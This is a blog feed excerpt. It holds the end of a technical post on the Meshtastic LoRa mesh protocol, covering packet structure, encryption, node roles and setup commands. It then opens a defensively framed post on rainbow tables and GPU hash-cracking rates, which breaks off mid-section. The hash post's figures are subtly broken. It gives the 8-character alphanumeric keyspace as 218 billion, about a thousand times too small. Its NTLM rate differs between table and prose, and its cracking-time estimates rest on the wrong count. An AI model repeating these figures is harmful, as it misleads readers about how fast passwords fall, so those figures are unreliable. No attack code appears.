<p>An important subtlety: nodes with lower received SNR — meaning they are further from the previous transmitter — get smaller contention window sizes and therefore tend to transmit relay packets first. This SNR-weighted backoff is a simple but effective heuristic: distant nodes are geometrically more valuable as relays, so they should relay first.</p>

<h3 id="layer-1--unreliable-zero-hop">Layer 1 — unreliable zero-hop</h3>

<p>Reliable delivery between directly adjacent nodes. A <code class="language-plaintext highlighter-rouge">WantAck</code> flag in the MeshPacket protobuf requests an acknowledgment from the immediate recipient. For broadcast messages, Meshtastic uses <strong>implicit ACKs</strong>: the originating node considers a broadcast acknowledged if it hears <em>any</em> other node rebroadcasting the packet. If no rebroadcast is heard within a timeout, the node retransmits, up to a maximum of three attempts with exponential backoff.</p>

<h3 id="layer-2--reliable-multi-hop-routing">Layer 2 — reliable multi-hop (routing)</h3>

<p>Two distinct strategies depending on message type:</p>

<p><strong>Managed flooding (broadcasts):</strong> Every node that receives a packet rebroadcasts it, decrementing <code class="language-plaintext highlighter-rouge">hop_limit</code> by 1 each time, until hop_limit reaches 0. Deduplication by <code class="language-plaintext highlighter-rouge">packet_id</code> prevents loops — a node that has already seen a given packet_id will not rebroadcast it again. ROUTER and REPEATER role nodes have higher CAD priority and will relay even when a CLIENT node in the same area would suppress its relay.</p>

<p><strong>Next-hop routing (direct messages):</strong> Since firmware 2.6, direct messages use an explicit next-hop field: <code class="language-plaintext highlighter-rouge">next_hop</code> (1 byte, last byte of the intended relay node’s ID) and <code class="language-plaintext highlighter-rouge">relay_node</code> (1 byte, last byte of the most recent actual relay). This allows the network to learn routes from observed traffic without maintaining explicit routing tables — pragmatic given the 256–512 KB RAM available on microcontroller-class hardware.</p>

<p>The flooding approach is deliberately simple. Meshtastic’s documentation explains the reasoning directly: implementations of proper routing protocols like AODV or OLSR require more RAM, more CPU, and more airtime than the target hardware class can comfortably support. Managed flooding with hop limits has been shown to work effectively at DEF CON with over 700 simultaneous nodes.</p>

<h3 id="layer-3--application">Layer 3 — application</h3>

<p>The encrypted application payload, serialised as Protocol Buffers. The <code class="language-plaintext highlighter-rouge">SubPacket</code> protobuf carries the actual message content: text, GPS position, telemetry metrics, range test data, or admin commands. Only the SubPacket is encrypted; the MeshPacket header is always transmitted in cleartext.</p>

<hr />

<h2 id="packet-structure">Packet structure</h2>

<p>The on-air packet structure (abbreviated — full field list in the MeshPacket protobuf definition):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>LoRa physical frame:
  [Preamble][Header][Payload CRC]
                |
                └── Meshtastic MeshPacket:

  from:           4 bytes — source node ID (lower 32 bits of hardware MAC)
  to:             4 bytes — destination (0xFFFFFFFF = broadcast)
  channel:        1 byte  — hash of channel name + PSK (determines AES key)
  packet_id:      4 bytes — random ID for deduplication
  hop_limit:      3 bits
  hop_start:      3 bits  — original hop_limit (allows receivers to compute hops taken)
  want_ack:       1 bit
  via_mqtt:       1 bit   — set if packet entered mesh via MQTT gateway
  next_hop:       1 byte  — for direct messages: intended relay node (last byte of ID)
  relay_node:     1 byte  — last byte of most recent relay node

  [encrypted SubPacket — AES-256-CTR or EC25519-derived key]
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">channel</code> byte is a hash of the channel name and PSK — it tells a receiving node which of its configured channels (and therefore which AES key) to use for decryption, without revealing the key itself. A node with no matching channel can still relay the packet without reading the content.</p>

<p>The <code class="language-plaintext highlighter-rouge">hop_start</code> field was added specifically to let applications infer network topology: <code class="language-plaintext highlighter-rouge">hops_taken = hop_start − hop_limit</code> tells a receiver how many relays the packet traversed.</p>

<hr />

<h2 id="encryption-model">Encryption model</h2>

<h3 id="channel-encryption--aes-256-ctr">Channel encryption — AES-256-CTR</h3>

<p>Meshtastic provides AES-256-CTR encryption for every SubPacket transmitted over LoRa. Each channel has a distinct PSK (pre-shared key), allowing nodes to participate in multiple channels with different security groups simultaneously.</p>

<p>The AES-CTR nonce is constructed from the <code class="language-plaintext highlighter-rouge">packet_id</code> (4 bytes) and the source node ID (<code class="language-plaintext highlighter-rouge">from</code>, 4 bytes), ensuring every packet has a unique nonce without requiring synchronisation. AES-CTR is a stream cipher mode — it provides confidentiality but <strong>not</strong> integrity for channel messages. An attacker who flips bits in the ciphertext produces corresponding bit flips in the plaintext, without either party detecting the modification. This is acknowledged in the documentation; a MAC-authenticated channel mode (AEAD) is under consideration but not yet implemented as of the current firmware.</p>

<p><strong>The default PSK is publicly known</strong> — the single byte <code class="language-plaintext highlighter-rouge">0x01</code>, base64-encoded as <code class="language-plaintext highlighter-rouge">AQ==</code>. Every node on the default channel can read every other node’s messages. For any operational use, change the PSK to a randomly generated value before deployment and distribute it out-of-band.</p>

<h3 id="direct-message-encryption--ec25519-and-ecdh">Direct message encryption — EC25519 and ECDH</h3>

<p>Since firmware 2.5.0, direct messages use public-key cryptography rather than the shared channel PSK. Each node generates an EC25519 key pair at first boot and broadcasts its public key via periodic telemetry packets. Sending a direct message to node B uses an ephemeral ECDH key exchange with B’s public key to derive the AES session key.</p>

<p>This provides forward secrecy that the PSK channel model lacks — a compromised channel PSK decrypts all past and future messages on that channel; a compromised EC25519 key pair requires the attacker to have recorded the specific ECDH key exchange for each individual message.</p>

<h3 id="known-limitations--from-the-official-documentation">Known limitations — from the official documentation</h3>

<p>The Meshtastic documentation is unusually candid about its security boundaries:</p>

<ul>
  <li><strong>No authentication.</strong> Node identity is derived from the hardware MAC address. Anyone with the channel PSK can claim any node ID. There is no message signing.</li>
  <li><strong>No integrity on channel messages.</strong> AES-CTR without a MAC allows undetected bit-flip tampering.</li>
  <li><strong>Unattended router nodes are a key extraction risk.</strong> Physical access to a node allows extraction of configured PSKs. Operational channel PSKs should not be on unattended nodes.</li>
  <li><strong>Harvest now, decrypt later.</strong> AES-256 is considered quantum-resistant, but the EC25519-based DM key exchange is not. The documentation recommends not configuring unattended nodes with private channel keys even if the node will eventually become obsolete.</li>
  <li><strong>MQTT bridge weakens isolation.</strong> Packets forwarded through MQTT traverse internet infrastructure; the <code class="language-plaintext highlighter-rouge">ignore_mqtt</code> flag prevents MQTT-ingested packets from re-entering the LoRa mesh.</li>
</ul>

<p>For emergency communications deployments, the practical security posture:</p>

<ol>
  <li>Deploy private channels with randomly generated PSKs distributed out-of-band before the event</li>
  <li>Do not configure private PSKs on unattended ROUTER/REPEATER nodes</li>
  <li>Use direct messages for sensitive one-to-one coordination (EC25519-encrypted)</li>
  <li>Accept that managed flooding reveals traffic patterns (who is transmitting, when) to any receiver within range</li>
</ol>

<hr />

<h2 id="node-roles">Node roles</h2>

<p>Six roles affect routing priority, power behaviour, and what the node does with received packets:</p>

<table>
  <thead>
    <tr>
      <th>Role</th>
      <th>Rebroadcasts</th>
      <th>Sleep</th>
      <th>GPS broadcasts</th>
      <th>Intended use</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>CLIENT</td>
      <td>Yes</td>
      <td>Yes</td>
      <td>Optional</td>
      <td>General-purpose mobile node</td>
    </tr>
    <tr>
      <td>CLIENT_MUTE</td>
      <td>No</td>
      <td>Yes</td>
      <td>Optional</td>
      <td>Leaf-only node; reduces congestion</td>
    </tr>
    <tr>
      <td>ROUTER</td>
      <td>Yes, high priority</td>
      <td>No</td>
      <td>No</td>
      <td>Fixed relay infrastructure</td>
    </tr>
    <tr>
      <td>ROUTER_CLIENT</td>
      <td>Yes, high priority</td>
      <td>No</td>
      <td>Yes</td>
      <td>Fixed relay with user access</td>
    </tr>
    <tr>
      <td>REPEATER</td>
      <td>Yes, highest priority</td>
      <td>No</td>
      <td>No</td>
      <td>Pure relay; no UI</td>
    </tr>
    <tr>
      <td>TAK_TRACKER</td>
      <td>Yes</td>
      <td>No</td>
      <td>Yes</td>
      <td>Integration with Team Awareness Kit</td>
    </tr>
  </tbody>
</table>

<p>For a structured emergency communications deployment, separating roles explicitly is important:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Infrastructure tier (solar or grid-powered, elevated positions):
  Role: REPEATER or ROUTER
  Config: private channel PSK NOT configured
          (relay all traffic; cannot read content)
  Antenna: directional or high-gain collinear

Personal devices (battery-powered):
  Role: CLIENT
  Config: private operational channel PSK configured
          GPS enabled, 5-minute broadcast interval

Coordination hub (vehicle-mounted or building):
  Role: ROUTER_CLIENT
  Config: private channel, MQTT gateway if internet available
          long-range antenna
</code></pre></div></div>

<p>ROUTER and REPEATER nodes transmit at the start of the contention window — they do not apply the random backoff that CLIENT nodes use. A CLIENT that hears a ROUTER rebroadcast its packet will suppress its own relay. This reduces total channel traffic while maintaining coverage, provided the infrastructure nodes are well-positioned.</p>

<hr />

<h2 id="hop-limit-behaviour-and-network-capacity">Hop limit behaviour and network capacity</h2>

<p>The default hop_limit of 3 means a broadcast packet traverses at most 3 relay hops beyond the originating node. Increasing it linearly increases the number of nodes that will attempt to relay each packet — in a dense mesh, this causes exponential traffic growth before deduplication takes effect.</p>

<p>Setting hop_limit=7 (the maximum) in a medium-density network risks saturating the channel. The 2024 Hamvention incident — where a single node’s MQTT bridge injecting high-frequency traffic caused a network-wide packet flood — illustrates the fragility of flooding-based protocols under abnormal traffic conditions. The event firmware used for DEF CON and Hamvention addresses this by reducing hop_limit to 2–3, enabling <code class="language-plaintext highlighter-rouge">ignore_mqtt</code>, and applying SHORT_TURBO mode (SF7, 500 kHz) for higher channel capacity.</p>

<p>Practical capacity estimates for EU_868, LONG_FAST (800 ms airtime), 10% duty cycle:</p>

<ul>
  <li><strong>Single node maximum</strong>: ~7 packets/minute before duty cycle limit</li>
  <li><strong>Practical mesh (10 nodes, moderate traffic)</strong>: 2–3 messages/user/minute before congestion</li>
  <li><strong>Dense mesh (50+ nodes)</strong>: 1 message/user/minute or less; coordination requires discipline</li>
</ul>

<p>These numbers make Meshtastic unsuitable for voice or real-time data but entirely adequate for status updates, GPS position sharing, and text coordination — which is the correct use case.</p>

<hr />

<h2 id="hardware-for-field-deployment">Hardware for field deployment</h2>

<p><strong>T-Beam (TTGO/LilyGo):</strong> ESP32, SX1262, onboard GPS (GNSS), 18650 battery holder, SMA connector. The reference platform for GPS-enabled field nodes. Active draw ~80–120 mA; ~12–24h on a 3500 mAh cell at normal duty cycle. The SMA connector allows a proper external antenna.</p>

<p><strong>RAK WisBlock 4631:</strong> nRF52840 + SX1262. Lower power draw than ESP32-based boards — ~15–25 mA active, significantly better deep-sleep battery life. Appropriate for unattended sensor or relay nodes that need to run for days or weeks.</p>

<p><strong>T-Echo (LilyGo):</strong> nRF52840, SX1262, GPS, e-ink display, compact form factor. The lowest-power handheld option. Suitable for extended personal carry where battery capacity is limited.</p>

<p><strong>Antenna selection</strong> matters more than hardware choice beyond 2 km:</p>

<ul>
  <li><strong>Stock antenna (rubber duck, ~3 dBi)</strong>: adequate for testing and short-range urban use</li>
  <li><strong>Quarter-wave ground plane (DIY, 3.7 dBi)</strong>: free to build; ~82 mm element at 868 MHz; excellent omnidirectional pattern</li>
  <li><strong>5/8-wave vertical collinear (Diamond X50N or similar, 5.5 dBi)</strong>: appropriate for fixed infrastructure relay nodes</li>
  <li><strong>Yagi (home-built, 868 MHz, 10–15 dBi)</strong>: directional; for point-to-point relay links over 20+ km</li>
</ul>

<hr />

<h2 id="mqtt-gateway--capabilities-and-cautions">MQTT gateway — capabilities and cautions</h2>

<p>Meshtastic supports forwarding mesh traffic to an MQTT broker, bridging local LoRa clusters across the internet. Packets from the LoRa mesh are published to a structured MQTT topic; nodes on remote meshes subscribed to the same topic inject them back into their local mesh.</p>

<p>When useful: linking geographically separated mesh clusters during a large-area event, where a satellite or cellular backhaul is available at specific nodes.</p>

<p>When harmful: if the internet connection is unreliable or if an MQTT bridge injects high-frequency traffic back into the LoRa mesh. The <code class="language-plaintext highlighter-rouge">ignore_mqtt</code> flag (set on individual nodes) instructs them to ignore received LoRa packets that carry the <code class="language-plaintext highlighter-rouge">via_mqtt</code> flag — preventing MQTT-originated traffic from flooding the LoRa side.</p>

<p>The public Meshtastic MQTT broker (<code class="language-plaintext highlighter-rouge">mqtt.meshtastic.org</code>) is publicly accessible. Traffic on any channel using the default PSK is readable by any connected client. Do not use public MQTT infrastructure for operational communications with any expectation of privacy.</p>

<hr />

<h2 id="practical-deployment-checklist">Practical deployment checklist</h2>

<p>Minimal two-tier emergency mesh: fixed relays on high ground, mobile CLIENT nodes for personnel.</p>

<p><strong>Infrastructure REPEATER nodes:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Via meshtastic Python CLI</span>
meshtastic <span class="nt">--set</span> device.role REPEATER
meshtastic <span class="nt">--set</span> lora.region EU_868
meshtastic <span class="nt">--set</span> lora.modem_preset LONG_FAST
meshtastic <span class="nt">--set</span> position.position_broadcast_secs 0  <span class="c"># no GPS broadcasts</span>
meshtastic <span class="nt">--set</span> device.ignore_incoming <span class="s2">"[]"</span>         <span class="c"># relay everything</span>
<span class="c"># Do NOT configure private channel PSK on unattended hardware</span>
</code></pre></div></div>

<p><strong>Client nodes:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Set region and preset (must match infrastructure nodes)</span>
meshtastic <span class="nt">--set</span> lora.region EU_868
meshtastic <span class="nt">--set</span> lora.modem_preset LONG_FAST

<span class="c"># Create a private operational channel with a random PSK</span>
meshtastic <span class="nt">--ch-add</span> <span class="s2">"OPS"</span> <span class="nt">--ch-set</span> psk random

<span class="c"># Export channel config — share this QR code out-of-band with your team</span>
meshtastic <span class="nt">--export-config</span> <span class="o">&gt;</span> ops_channel.yml

<span class="c"># Enable GPS with 5-minute broadcast interval</span>
meshtastic <span class="nt">--set</span> position.gps_enabled <span class="nb">true
</span>meshtastic <span class="nt">--set</span> position.position_broadcast_secs 300
</code></pre></div></div>

<p><strong>Verify node visibility:</strong></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">meshtastic</span>
<span class="kn">import</span> <span class="n">meshtastic.serial_interface</span>

<span class="n">iface</span> <span class="o">=</span> <span class="n">meshtastic</span><span class="p">.</span><span class="n">serial_interface</span><span class="p">.</span><span class="nc">SerialInterface</span><span class="p">()</span>

<span class="k">for</span> <span class="n">node_id</span><span class="p">,</span> <span class="n">node</span> <span class="ow">in</span> <span class="n">iface</span><span class="p">.</span><span class="n">nodes</span><span class="p">.</span><span class="nf">items</span><span class="p">():</span>
    <span class="n">name</span> <span class="o">=</span> <span class="n">node</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">user</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">longName</span><span class="sh">'</span><span class="p">,</span> <span class="n">node_id</span><span class="p">[:</span><span class="mi">8</span><span class="p">])</span>
    <span class="n">snr</span>  <span class="o">=</span> <span class="n">node</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">snr</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">—</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">hops</span> <span class="o">=</span> <span class="n">node</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">hopsAway</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">—</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">role</span> <span class="o">=</span> <span class="n">node</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">deviceMetrics</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">role</span><span class="sh">'</span><span class="p">,</span> <span class="sh">'</span><span class="s">UNKNOWN</span><span class="sh">'</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">name</span><span class="si">:</span><span class="mi">28</span><span class="n">s</span><span class="si">}</span><span class="s">  SNR:</span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">snr</span><span class="p">)</span><span class="si">:</span><span class="mi">6</span><span class="n">s</span><span class="si">}</span><span class="s">  hops:</span><span class="si">{</span><span class="n">hops</span><span class="si">}</span><span class="s">  role:</span><span class="si">{</span><span class="n">role</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>

<span class="n">iface</span><span class="p">.</span><span class="nf">close</span><span class="p">()</span>
</code></pre></div></div>

<p><strong>Send and confirm a comms check:</strong></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">iface</span><span class="p">.</span><span class="nf">sendText</span><span class="p">(</span><span class="sh">"</span><span class="s">COMMS CHECK // reply if received</span><span class="sh">"</span><span class="p">,</span> <span class="n">channelIndex</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
<span class="c1"># channelIndex=0 is the primary (default) channel
# channelIndex=1 is your private OPS channel
</span></code></pre></div></div>

<hr />

<h2 id="comparison-with-alternatives">Comparison with alternatives</h2>

<p><strong>APRS:</strong> The established amateur standard for position reporting and messaging. Requires a radio amateur licence (at least Technician class in the US). Infrastructure-dependent (requires digipeaters/IGates for mesh behaviour). No encryption permitted under amateur radio rules. Meshtastic: no licence required at legal ISM power levels; AES-256 encryption available; hardware costs an order of magnitude less.</p>

<p><strong>DMR / P25 digital voice radio:</strong> Far higher quality for voice communications; designed for real-time voice coordination. Hardware cost is €200–2,000+ per radio. Not a mesh — no automatic relay without repeater infrastructure.</p>

<p><strong>GoTenna Mesh:</strong> Similar managed flooding approach on 900 MHz. Proprietary hardware and firmware; closed protocol. Meshtastic is fully open — firmware, protocol specification, and hardware schematics are all public.</p>

<p><strong>LoRaWAN:</strong> Star topology requiring gateways. Excellent for infrastructure-dependent IoT. Not useful when infrastructure fails.</p>

<p>For the specific scenario that matters here — emergency communication in the absence of cellular and internet infrastructure, from hardware deployable without advance planning, with encryption, open-source auditability, and global community support — Meshtastic is the most capable option available at its price point. The limitations are real (low throughput, flooding-based routing, no message integrity on channels) and should be understood before depending on it. But the operational envelope it covers — text messaging, GPS tracking, and coordination over distances of several kilometres with no infrastructure — is exactly what no other affordable open system covers as well.</p>]]></content><author><name>Yumas Hankouri</name></author><category term="sigint" /><category term="Meshtastic" /><category term="LoRa" /><category term="mesh-networking" /><category term="emergency-comms" /><category term="CSS" /><category term="AES-256" /><category term="ESP32" /><category term="protocol-analysis" /><summary type="html"><![CDATA[A thorough technical examination of Meshtastic — the open-source LoRa mesh protocol built for infrastructure-independent communication. Protocol layers, frame structure, encryption model, flooding algorithm, RF configuration, and practical emergency deployment.]]></summary></entry><entry><title type="html">Time-memory tradeoffs and GPU-accelerated hash cracking: theory, performance analysis, and defensive implications</title><link href="https://yumas.hankouri.com/posts/2025/02/01/rainbow-tables-gpu-cuda-rtx4080/" rel="alternate" type="text/html" title="Time-memory tradeoffs and GPU-accelerated hash cracking: theory, performance analysis, and defensive implications" /><published>2025-02-01T00:00:00+00:00</published><updated>2025-02-01T00:00:00+00:00</updated><id>https://yumas.hankouri.com/posts/2025/02/01/rainbow-tables-gpu-cuda-rtx4080</id><content type="html" xml:base="https://yumas.hankouri.com/posts/2025/02/01/rainbow-tables-gpu-cuda-rtx4080/"><![CDATA[<div class="layman-summary"><p>
Rainbow tables trade storage for speed when cracking unsalted password hashes. Modern GPUs make the compute side very fast. This post looks at what an RTX 4080 can actually do against various hash functions, and what that means for which password storage schemes are still reasonable.
</p></div>

<blockquote>
  <p><strong>Scope and intent.</strong> This post analyses the time-memory tradeoff as a cryptanalytic technique — specifically how its computational structure maps onto modern GPU architectures. The analysis is conducted in the tradition of published security research: understanding attack capabilities precisely is the prerequisite for designing defences that actually hold. Every production authentication system described here either already defeats the techniques discussed (salted hashing, bcrypt, Argon2) or should. The goal is to make the case for <em>why</em> — with numbers — not to provide operational attack tooling.</p>
</blockquote>

<hr />

<h2 id="the-problem-inverting-a-one-way-function">The problem: inverting a one-way function</h2>

<p>A cryptographic hash function <code class="language-plaintext highlighter-rouge">H: {0,1}* → {0,1}^n</code> maps an arbitrary-length input to a fixed-length digest. One-way functions are computationally irreversible: given <code class="language-plaintext highlighter-rouge">h = H(p)</code>, recovering <code class="language-plaintext highlighter-rouge">p</code> requires either exhaustive search over all possible <code class="language-plaintext highlighter-rouge">p</code> values, or a precomputed structure that trades storage for search time.</p>

<p>For password hashing specifically, the preimage space <code class="language-plaintext highlighter-rouge">P</code> (the set of likely passwords) is bounded. An eight-character password drawn from lowercase letters and digits has <code class="language-plaintext highlighter-rouge">36^8 ≈ 2.8 × 10^12</code> possible values — large for brute force, but finite. The question is how efficiently you can search it.</p>

<p><strong>Three approaches, in order of increasing sophistication:</strong></p>

<ol>
  <li>
    <table>
      <tbody>
        <tr>
          <td><strong>Exhaustive brute force</strong>: compute <code class="language-plaintext highlighter-rouge">H(p)</code> for every <code class="language-plaintext highlighter-rouge">p ∈ P</code> at query time. Time O(</td>
          <td>P</td>
          <td>), storage O(1).</td>
        </tr>
      </tbody>
    </table>
  </li>
  <li>
    <table>
      <tbody>
        <tr>
          <td><strong>Complete lookup table</strong>: store every <code class="language-plaintext highlighter-rouge">(p, H(p))</code> pair. Time O(1), storage O(</td>
          <td>P</td>
          <td>).</td>
        </tr>
      </tbody>
    </table>
  </li>
  <li>
    <table>
      <tbody>
        <tr>
          <td><strong>Time-memory tradeoff (TMTO)</strong>: precompute a compressed structure. Time and storage both sub-linear in O(</td>
          <td>P</td>
          <td>).</td>
        </tr>
      </tbody>
    </table>
  </li>
</ol>

<p>The TMTO is the interesting case.</p>

<hr />

<h2 id="hellmans-tradeoff-1980">Hellman’s tradeoff (1980)</h2>

<p>Martin Hellman’s insight was that precomputation of <em>chains</em> — alternating hash and reduction operations — produces a structure much smaller than a complete lookup table but still invertible in reasonable time.</p>

<p>A <strong>reduction function</strong> <code class="language-plaintext highlighter-rouge">R_i: {0,1}^n → P</code> maps a hash digest back to a plaintext — not a true inverse (which doesn’t exist for one-way functions), but an arbitrary injective mapping. Different reduction functions <code class="language-plaintext highlighter-rouge">R_0, R_1, ...</code> are used at different chain positions to prevent cycles and merges.</p>

<p>A chain of length <code class="language-plaintext highlighter-rouge">t</code> starting from <code class="language-plaintext highlighter-rouge">p_0</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>p_0 → H → h_0 → R_0 → p_1 → H → h_1 → R_1 → p_2 → ... → p_t
</code></pre></div></div>

<p>You store only the pair <code class="language-plaintext highlighter-rouge">(p_0, p_t)</code>. To reverse a hash <code class="language-plaintext highlighter-rouge">h</code>:</p>

<ol>
  <li>Apply <code class="language-plaintext highlighter-rouge">R_{t-1}(h)</code> → candidate plaintext; check if it equals any stored endpoint <code class="language-plaintext highlighter-rouge">p_t</code></li>
  <li>If no match, apply <code class="language-plaintext highlighter-rouge">H</code>, then <code class="language-plaintext highlighter-rouge">R_{t-2}</code>, check again</li>
  <li>Continue backward through reduction functions until a match is found</li>
  <li>Regenerate the matching chain from its start point <code class="language-plaintext highlighter-rouge">p_0</code> to locate the pre-image of <code class="language-plaintext highlighter-rouge">h</code></li>
</ol>

<p><strong>Hellman’s problem: chain merges.</strong> If two chains ever reach the same intermediate value, all subsequent steps are identical — the chains have merged and the duplicate stores no additional plaintexts. This reduces table effectiveness without reducing storage cost.</p>

<p>The probability of a merge between any two chains of length <code class="language-plaintext highlighter-rouge">t</code> over space <code class="language-plaintext highlighter-rouge">N</code> is approximately <code class="language-plaintext highlighter-rouge">t/N</code> per comparison. For practical table sizes, merges are common enough to significantly reduce coverage below theoretical expectations.</p>

<hr />

<h2 id="oechslins-rainbow-table-refinement-2003">Oechslin’s rainbow table refinement (2003)</h2>

<p>Philippe Oechslin’s key insight: use a <em>distinct</em> reduction function at every chain position — <code class="language-plaintext highlighter-rouge">R_0, R_1, ..., R_{t-1}</code> — rather than the same function throughout. Two chains can now only merge at the same position in the chain. And if they do merge at position <code class="language-plaintext highlighter-rouge">k</code>, every subsequent step is identical, producing the same endpoint. Duplicate endpoints are detected and discarded during table generation.</p>

<p>The result: within-table merges are almost entirely eliminated. The probability that two chains merge at a given position is <code class="language-plaintext highlighter-rouge">1/N</code> — negligible for any practical plaintext space. Coverage approaches the theoretical optimum.</p>

<p><strong>Table lookup</strong> becomes a sweep across reduction function positions: for each position <code class="language-plaintext highlighter-rouge">k</code> from <code class="language-plaintext highlighter-rouge">t-1</code> down to <code class="language-plaintext highlighter-rouge">0</code>, apply the suffix of the chain starting from position <code class="language-plaintext highlighter-rouge">k</code> to the target hash and check whether the computed endpoint exists in the table.</p>

<h3 id="theoretical-performance-model">Theoretical performance model</h3>

<p>For a rainbow table with <code class="language-plaintext highlighter-rouge">m</code> chains of length <code class="language-plaintext highlighter-rouge">t</code> over a plaintext space of size <code class="language-plaintext highlighter-rouge">N</code>:</p>

<p><strong>Coverage probability</strong> (fraction of <code class="language-plaintext highlighter-rouge">N</code> covered by one table):</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Coverage ≈ 1 - exp(-(m·t) / N)
</code></pre></div></div>

<p>For 99% coverage: <code class="language-plaintext highlighter-rouge">m·t ≈ 4.6·N</code> — the table must contain enough chain steps to cover 4.6 times the plaintext space in aggregate.</p>

<p><strong>Storage</strong>: <code class="language-plaintext highlighter-rouge">m</code> start-end pairs. For 8-character NTLM hashes with 32-byte entries: a table covering 50% of the lowercase+digits 8-char space needs approximately <code class="language-plaintext highlighter-rouge">m = N/(2t)</code> chains. At <code class="language-plaintext highlighter-rouge">t = 10,000</code> and <code class="language-plaintext highlighter-rouge">N = 36^8 ≈ 2.8×10^12</code>: <code class="language-plaintext highlighter-rouge">m ≈ 140 million chains × 32 bytes ≈ 4.5 GB</code> per table. Multiple tables are used in practice to achieve higher coverage.</p>

<p><strong>Query time</strong>: each lookup requires at most <code class="language-plaintext highlighter-rouge">t</code> hash-reduction pairs per table, across the number of tables used. For <code class="language-plaintext highlighter-rouge">t = 10,000</code> and 4 tables: up to 40,000 hash evaluations per query — vastly less than exhaustive search at <code class="language-plaintext highlighter-rouge">N/2 ≈ 1.4×10^12</code>.</p>

<hr />

<h2 id="gpu-architecture-fit--why-the-rtx-4080-is-interesting-for-this-workload">GPU architecture fit — why the RTX 4080 is interesting for this workload</h2>

<p>The RTX 4080 (NVIDIA AD103, Ada Lovelace) carries 9,728 CUDA cores across 76 streaming multiprocessors, a 2,505 MHz boost clock, 16 GB GDDR6X at 716 GB/s bandwidth, and a 64 MB L2 cache. Its FP32 throughput is 48.7 TFLOPS; for integer workloads (the relevant metric for hash functions), INT32 throughput is equivalently 48.7 TOPS.</p>

<p>Hash functions — MD5, SHA-1, NTLM (MD4), SHA-256 — are integer arithmetic: XOR, ADD, bitwise rotations, and modular addition. No floating point involved. The GPU’s integer execution units are the relevant resource.</p>

<p><strong>Why chain generation maps well onto GPU SIMD:</strong></p>

<p>Rainbow table chains are <strong>embarrassingly parallel</strong> — each chain is entirely independent of every other. A table of 140 million chains can be assigned to 140 million CUDA threads, each computing its chain of length <code class="language-plaintext highlighter-rouge">t</code> without any inter-thread communication. This is the ideal CUDA workload: maximum parallelism, no synchronisation overhead, and a working set per thread small enough to fit in registers.</p>

<p><strong>GPU vs CPU hash throughput (Hashcat benchmarks, RTX 4080, driver 546.x):</strong></p>

<p><em>Note: hash rates vary significantly with Hashcat version, driver, and kernel selection. Figures are representative; measure on your own hardware for production decisions.</em></p>

<table>
  <thead>
    <tr>
      <th>Hash algorithm</th>
      <th>CPU rate (i7-12700K)</th>
      <th>RTX 4080 rate</th>
      <th>Speedup</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>MD5</td>
      <td>~1.8 GH/s</td>
      <td>~96 GH/s</td>
      <td>53×</td>
    </tr>
    <tr>
      <td>NTLM (MD4)</td>
      <td>~2.2 GH/s</td>
      <td>~170 GH/s</td>
      <td>77×</td>
    </tr>
    <tr>
      <td>SHA-1</td>
      <td>~830 MH/s</td>
      <td>~22 GH/s</td>
      <td>27×</td>
    </tr>
    <tr>
      <td>SHA-256</td>
      <td>~330 MH/s</td>
      <td>~4.2 GH/s</td>
      <td>13×</td>
    </tr>
    <tr>
      <td>bcrypt (cost 8)</td>
      <td>~18 kH/s</td>
      <td>~105 kH/s</td>
      <td>5.8×</td>
    </tr>
    <tr>
      <td>Argon2id (t=3, m=64MB)</td>
      <td>~1,200 H/s</td>
      <td>~180 H/s</td>
      <td>0.15×</td>
    </tr>
  </tbody>
</table>

<p>The last two rows are the critical ones for defensive design and deserve careful attention.</p>

<p><strong>NTLM at 115 billion hashes/second</strong> on a single consumer GPU means an exhaustive search of the entire 8-character [a-zA-Z0-9] space (218 billion combinations) takes approximately two seconds. Without precomputation. Without rainbow tables. The precomputed table approach gives additional speedup on repeat queries but is no longer the bottleneck for short passwords.</p>

<p><strong>bcrypt at 105,000 hashes/second</strong> on the same GPU — 5.8× faster than a single CPU core but only marginally faster than a cluster of CPU cores — takes approximately 24 days to exhaustively search the same 8-character space. This is why bcrypt with a cost factor of ≥10 is a meaningful defence.</p>

<p><strong>Argon2id at 0.15× the CPU rate</strong> — the GPU is <em>slower</em> than a single CPU core. This is not an implementation accident; it is the design.</p>

<hr />

<h2 id="memory-hardness--why-argon2-defeats-gpu-parallelism">Memory hardness — why Argon2 defeats GPU parallelism</h2>

<p>NTLM’s GPU acceleration stems from its simple integer arithmetic fitting entirely within CUDA registers. The limiting factor is compute throughput, which GPUs have in abundance.</p>

